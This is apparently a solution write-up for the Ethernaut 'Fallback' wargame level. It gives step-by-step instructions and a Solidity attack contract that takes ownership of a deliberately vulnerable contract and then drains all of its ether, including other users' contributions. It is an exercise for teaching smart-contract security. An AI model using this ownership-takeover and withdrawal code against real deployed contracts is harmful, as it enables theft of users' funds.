Ethernaut Solutions: 1-Fallback

How to run:

1. Deploy “Fallback” contract and copy the address
2. Put this address as the value for Solution.fallbackContract state variable
3. Deploy “Solution” contract along with 500 wei
4. Run Solution.tellVictimBalance() – should return 0 wei
5. Run Solution.tellAttackerBalance() – should return 500 wei
6. Check the value of Fallback.owner – should show the address that deployed “Fallback” contract
7. Run Solution.becomeOwner()
8. Check the value of Fallback.owner – Should return address of “Solution” contract
9. Run Solution.tellVictimBalance() – should return 200 wei
10. Run Solution.tellAttackerBalance() – should return 300 wei
11. Run Solution.stealFunds(). This will steal ALL ether from the contract includng contributions made by other users
12. Run Solution.tellVictimBalance() – should return 0 wei
13. Run Solution.tellAttackerBalance() – should return 500 wei.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

contract Solution
{
    address fallbackContract = 0xd9145CCE52D386f254917e481eB44e9943F39138;
    
    constructor() payable{}
    
    function becomeOwner() public
    {
        fallbackContract.call{value: 100 wei}(abi.encodeWithSignature("contribute()"));
        fallbackContract.call{value: 100 wei}("");     
    }

    function stealFunds() public
    {
        fallbackContract.call(abi.encodeWithSignature("withdraw()"));
    }       

    fallback() external payable {}

    function tellAttackerBalance() public view returns(uint)
    {
        return address(this).balance;
    }

    function tellVictimBalance() public view returns(uint)
    {
        return fallbackContract.balance;
    }
}